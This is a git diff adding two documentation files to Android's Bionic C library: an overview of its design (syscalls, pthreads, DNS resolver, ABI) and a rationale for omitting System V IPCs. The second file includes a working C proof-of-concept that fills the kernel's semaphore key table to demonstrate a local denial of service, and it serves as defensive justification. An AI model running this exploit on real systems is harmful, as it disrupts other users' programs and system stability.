diff options
Diffstat (limited to 'libc/docs')
-rw-r--r-- | libc/docs/OVERVIEW.TXT | 388 | ||||
-rw-r--r-- | libc/docs/SYSV-IPC.TXT | 103 |
2 files changed, 491 insertions, 0 deletions
diff --git a/libc/docs/OVERVIEW.TXT b/libc/docs/OVERVIEW.TXT new file mode 100644 index 0000000..4c153b1 --- /dev/null +++ b/libc/docs/OVERVIEW.TXT @@ -0,0 +1,388 @@ +Bionic C Library Overview: +========================== + +Introduction: + +Core Philosophy: + + The core idea behind Bionic's design is: KEEP IT REALLY SIMPLE. + + This implies that the C library should only provide lightweight wrappers + around kernel facilities and not try to be too smart to deal with edge cases. + + The name "Bionic" comes from the fact that it is part-BSD and part-Linux: + its source code consists in a mix of BSD C library pieces with custom + Linux-specific bits used to deal with threads, processes, signals and a few + others things. + + All original BSD pieces carry the BSD copyright disclaimer. Bionic-specific + bits carry the Android Open Source Project copyright disclaimer. And + everything is released under the BSD license. + +Architectures: + + Bionic currently supports the ARM and x86 instruction sets. In theory, it + should be possible to support more, but this may require a little work (e.g. + adding system call IDs to SYSCALLS.TXT, described below, or modifying the + dynamic linker). + + The ARM-specific code is under arch-arm/ and the x86-specific one is under + arch-x86/ + + Note that the x86 version is only meant to run on an x86 Android device. We + make absolutely no claim that you could build and use Bionic on a stock x86 + Linux distribution (though that would be cool, so patches are welcomed :-)) + +Syscall stubs: + + Each system call function is implemented by a tiny assembler source fragment + (called a "syscall stub"), which is generated automatically by + tools/gensyscalls.py which reads the SYSCALLS.TXT file for input. + + SYSCALLS.TXT contains the list of all syscall stubs to generate, along with + the corresponding syscall numeric identifier (which may differ between ARM + and x86), and its signature + + If you modify this file, you may want to use tools/checksyscalls.py which + checks its content against official Linux kernel header files, and will + report errors when invalid syscall ids are used. + + Sometimes, the C library function is really a wrapper that calls the + corresponding syscall with another name. For example, the exit() function + is provided by the C library and calls the _exit() syscall stub. + + See SYSCALLS.TXT for documentation and details. + + +time_t: + + time_t is 32-bit as defined by the kernel on 32-bit CPUs. A 64-bit version + would be preferrable to avoid the Y2038 bug, but the kernel maintainers + consider that this is not needed at the moment. + + Instead, Bionic provides a <time64.h> header that defines a time64_t type, + and related functions like mktime64(), localtime64(), etc... + + +Timezone management: + + The name of the current timezone is taken from the TZ environment variable, + if defined. Otherwise, the system property named 'persist.sys.timezone' is + checked instead. + + The zoneinfo timezone database and index files are located under directory + /system/usr/share/zoneinfo, instead of the more Posix-compliant path of + /usr/share/zoneinfo + + +off_t: + + For similar reasons, off_t is 32-bit. We define loff_t as the 64-bit variant + due to BSD inheritance, but off64_t should be available as a typedef to ease + porting of current Linux-specific code. + + +Linux kernel headers: + + Bionic comes with its own set of "clean" Linux kernel headers to allow + user-space code to use kernel-specific declarations (e.g. IOCTLs, structure + declarations, constants, etc...). They are located in: + + ./kernel/common, + ./kernel/arch-arm + ./kernel/arch-x86 + + These headers have been generated by a tool (kernel/tools/update-all.py) to + only include the public definitions from the original Linux kernel headers. + + If you want to know why and how this is done, read kernel/README.TXT to get + all the (gory) details. + + +PThread implementation: + + Bionic's C library comes with its own pthread implementation bundled in. + This is different from other historical C libraries which: + + - place it in an external library (-lpthread) + - play linker tricks with weak symbols at dynamic link time + + The support for real-time features (a.k.a. -lrt) is also bundled in the + C library. + + The implementation is based on futexes and strives to provide *very* short + code paths for common operations. Notable features are the following: + + - pthread_mutex_t, pthread_cond_t are only 4 bytes each. + + - Normal, recursive and error-check mutexes are supported, and the code + path is heavily optimized for the normal case, which is used most of + the time. + + - Process-shared mutexes and condition variables are not supported. + Their implementation requires far more complexity and was absolutely + not needed for Android (which uses other inter-process synchronization + capabilities). + + Note that they could be added in the future without breaking the ABI + by specifying more sophisticated code paths (which may make the common + paths slightly slower though). + + - There is currently no support for read/write locks, priority-ceiling in + mutexes and other more advanced features. Again, the main idea being + that this was not needed for Android at all but could be added in the + future. + +pthread_cancel(): + + pthread_cancel() will *not* be supported in Bionic, because doing this would + involve making the C library significantly bigger for very little benefit. + + Consider that: + + - A proper implementation must insert pthread cancellation checks in a lot + of different places of the C library. And conformance is very difficult + to test properly. + + - A proper implementation must also clean up resources, like releasing + memory, or unlocking mutexes, properly if the cancellation happens in a + complex function (e.g. inside gethostbyname() or fprintf() + complex + formatting rules). This tends to slow down the path of many functions. + + - pthread cancellation cannot stop all threads: e.g. it can't do anything + against an infinite loop + + - pthread cancellation itself has short-comings and isn't very portable + (see http://advogato.org/person/slamb/diary.html?start=49 for example). + + All of this is contrary to the Bionic design goals. If your code depends on + thread cancellation, please consider alternatives. + + Note however that Bionic does implement pthread_cleanup_push() and + pthread_cleanup_pop(), which can be used to handle cleanups that happen when + a thread voluntarily exits through pthread_exit() or returning from its + main function. + + +pthread_once(): + + Do not call fork() within a callback provided to pthread_once(). Doing this + may result in a deadlock in the child process the next time it calls + pthread_once(). + + Also, you can't throw a C++ Exception from the callback (see C++ Exception + Support below). + + The current implementation of pthread_once() lacks the necessary support of + multi-core-safe double-checked-locking (read and write barriers). + + +Thread-specific data + + The thread-specific storage only provides for a bit less than 64 + pthread_key_t objects to each process. The implementation provides 64 real + slots but also uses about 5 of them (exact number may depend on + implementation) for its own use (e.g. two slots are pre-allocated by the C + library to speed-up the Android OpenGL sub-system). + + Note that Posix mandates a minimum of 128 slots, but we do not claim to be + Posix-compliant. + + Except for the main thread, the TLS area is stored at the top of the stack. + See comments in bionic/libc/bionic/pthread.c for details. + + At the moment, thread-local storage defined through the __thread compiler + keyword is not supported by the Bionic C library and dynamic linker. + + +Multi-core support + + At the moment, Bionic does not provide or use read/write memory barriers. + This means that using it on certain multi-core systems might not be + supported, depending on its exact CPU architecture. + + +Android-specific features: + + Bionic provides a small number of Android-specific features to its clients: + + - access to system properties: + + Android provides a simple shared value/key space to all processes on the + system. It stores a liberal number of 'properties', each of them being a + simple size-limited string that can be associated to a size-limited + string value. + + The header <sys/system_properties.h> can be used to read system + properties and also defines the maximum size of keys and values. + + - Android-specific user/group management: + + There is no /etc/passwd or /etc/groups in Android. By design, it is + meant to be used by a single handset user. On the other hand, Android + uses the Linux user/group management features extensively to secure + process permissions, like access to various filesystem directories. + + In the Android scheme, each installed application gets its own + uid_t/gid_t starting from 10000; lower numerical ids are reserved for + system daemons. + + getpwnam() recognizes some hard-coded subsystems names (e.g. "radio") + and will translate them to their low-user-id values. It also recognizes + "app_1234" as the synthetic name of the application that was installed + with uid 10000 + 1234, which is 11234. getgrnam() works similarly + + getgrouplist() will always return a single group for any user name, + which is the one passed as an input parameter. + + getgrgid() will similarly only return a structure that contains a + single-element members list, corresponding to the user with the same + numerical value than the group. + + See bionic/libc/bionic/stubs.c for more details. + + - getservent() + + There is no /etc/services on Android. Instead the C library embeds a + constant list of services in its executable, which is parsed on demand + by the various functions that depend on it. See + bionic/libc/netbsd/net/getservent.c and + bionic/libc/netbsd/net/services.h + + The list of services defined internally might change liberally in the + future. This feature is mostly historically and is very rarely used. + + The getservent() returns thread-local data. getservbyport() and + getservbyname() are also implemented in a similar fashion. + + - getprotoent() + + There is no /etc/protocol on Android. Bionic does not currently + implement getprotoent() and related functions. If added, it will + likely be done in a way similar to getservent() + +DNS resolver: + + Bionic uses a NetBSD-derived resolver library which has been modified in + the following ways: + + - don't implement the name-server-switch feature (a.k.a. <nsswitch.h>) + + - read /system/etc/resolv.conf instead of /etc/resolv.conf + + - read the list of servers from system properties. the code looks for + 'net.dns1', 'net.dns2', etc.. Each property should contain the IP + address of a DNS server. + + these properties are set/modified by other parts of the Android system + (e.g. the dhcpd daemon). + + the implementation also supports per-process DNS server list, using the + properties 'net.dns1.<pid>', 'net.dns2.<pid>', etc... Where <pid> stands + for the numerical ID of the current process. + + - when performing a query, use a properly randomized Query ID (instead of + a incremented one), for increased security. + + - when performing a query, bind the local client socket to a random port + for increased security. + + - get rid of *many* unfortunate thread-safety issues in the original code + + Bionic does *not* expose implementation details of its DNS resolver; the + content of <arpa/nameser.h> is intentionally blank. The resolver + implementation might change completely in the future. + + +PThread Real-Time Timers: + + timer_create(), timer_gettime(), timer_settime() and timer_getoverrun() are + supported. + + Bionic also now supports SIGEV_THREAD real-time timers (see timer_create()). + The implementation simply uses a single thread per timer, unlike GLibc which + uses complex heuristics to try to use the less threads possible when several + timers with compatible properties are used. + + This means that if your code uses a lot of SIGEV_THREAD timers, your program + may consume a lot of memory. However, if your program needs many of these + timers, it'd better handle timeout events directly instead. + + Other timers (e.g. SIGEV_SIGNAL) are handled by the kernel and use much less + system resources. + + +Binary Compatibility: + + Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc + or any known Linux C library. This means several things: + + - You cannot expect to build something against the GNU C Library headers and + have it dynamically link properly to Bionic later. + + - You should *really* use the Android toolchain to build your program against + Bionic. The toolchain deals with many important details that are crucial + to get something working properly. + + Failure to do so will usually result in the inability to run or link your + program, or even runtime crashes. Several random web pages on the Internet + describe how you can succesfully write a "hello-world" program with the + ARM GNU toolchain. These examples usually work by chance, if anything else, + and you should not follow these instructions unless you want to waste a lot + of your time in the process. + + Note however that you *can* generate a binary that is built against the + GNU C Library headers and then statically linked to it. The corresponding + executable should be able to run (if it doesn't use dlopen()/dlsym()) + + +Dynamic Linker: + + Bionic comes with its own dynamic linker (just like ld.so on Linux really + comes from GLibc). This linker does not support all the relocations + generated by other GCC ARM toolchains. + + +C++ Exceptions Support: + + At the moment, Bionic doesn't support C++ exceptions, what this really means + is the following: + + - If pthread_once() is called with a C++ callback that throws an exception, + then the C library will keep the corresponding pthread_once_t mutex + locked. Any further call to pthread_once() will result in a deadlock. + + A proper implementation should be able to register a C++ exception + cleanup handler before the callback to properly unlock the + pthread_once_t. Unfortunately this requires tricky assembly code that + is highly dependent on the compiler. + + This feature is not planned to be supported anytime soon. + + - The same problem may arise if you throw an exception within a callback + called from the C library. Fortunately, these cases are very rare in the + real-world, but any callback you provide to the C library should *not* + throw an exception. + + - Bionic lacks a few support functions to have exception support work + properly. + +System V IPCs: + + Bionic intentionally does not provide support for System-V IPCs mechanisms, + like the ones provided by semget(), shmget(), msgget(). The reason for this + is to avoid denial-of-service. For a detailed rationale about this, please + read the file docs/SYSV-IPCS.TXT. + +Include Paths: + + The Android build system should automatically provide the necessary include + paths required to build against the C library headers. However, if you want + to do that yourself, you will need to add: + + libc/arch-$ARCH/include + libc/include + libc/kernel/common + libc/kernel/arch-$ARCH + + to your C include path. diff --git a/libc/docs/SYSV-IPC.TXT b/libc/docs/SYSV-IPC.TXT new file mode 100644 index 0000000..5a3eef0 --- /dev/null +++ b/libc/docs/SYSV-IPC.TXT @@ -0,0 +1,103 @@ +Android does not support System V IPCs, i.e. the facilities provided by the +following standard Posix headers: + + <sys/sem.h> /* SysV semaphores */ + <sys/shm.h> /* SysV shared memory segments */ + <sys/msg.h> /* SysV message queues */ + <sys/ipc.h> /* General IPC definitions */ + +The reason for this is due to the fact that, by design, they lead to global +kernel resource leakage. + +For example, there is no way to automatically release a SysV semaphore +allocated in the kernel when: + +- a buggy or malicious process exits +- a non-buggy and non-malicious process crashes or is explicitely killed. + +Killing processes automatically to make room for new ones is an +important part of Android's application lifecycle implementation. This means +that, even assuming only non-buggy and non-malicious code, it is very likely +that over time, the kernel global tables used to implement SysV IPCs will fill +up. + +At that point, strange failures are likely to occur and prevent programs that +use them to run properly until the next reboot of the system. + +And we can't ignore potential malicious applications. As a proof of concept +here is a simple exploit that you can run on a standard Linux box today: + +--------------- cut here ------------------------ +#include <sys/sem.h> +#include <sys/wait.h> +#include <unistd.h> +#include <stdio.h> +#include <stdlib.h> +#include <errno.h> + +#define NUM_SEMAPHORES 32 +#define MAX_FAILS 10 + +int main(void) +{ + int counter = 0; + int fails = 0; + + if (counter == IPC_PRIVATE) + counter++; + + printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); + + for (;;) { + int ret = fork(); + int status; + + if (ret < 0) { + perror("fork:"); + break; + } + if (ret == 0) { + /* in the child */ + ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); + if (ret < 0) { + return errno; + } + return 0; + } + else { + /* in the parent */ + ret = wait(&status); + if (ret < 0) { + perror("waitpid:"); + break; + } + if (status != 0) { + status = WEXITSTATUS(status); + fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, + counter, status); + if (++fails >= MAX_FAILS) + break; + } + } + + counter++; + if ((counter % 1000) == 0) { + printf("%d\n", counter); + } + if (counter == IPC_PRIVATE) + counter++; + } + return 0; +} +--------------- cut here ------------------------ + +If you run it on a typical Linux distribution today, you'll discover that it +will quickly fill up the kernel's table of unique key_t values, and that +strange things will happen in some parts of the system, but not all. + +(You can use the "ipcs -u" command to get a summary describing the kernel + tables and their allocations) + +For example, in our experience, anything program launched after that that +calls strerror() will simply crash. The USB sub-system starts spoutting weird +errors to the system console, etc... |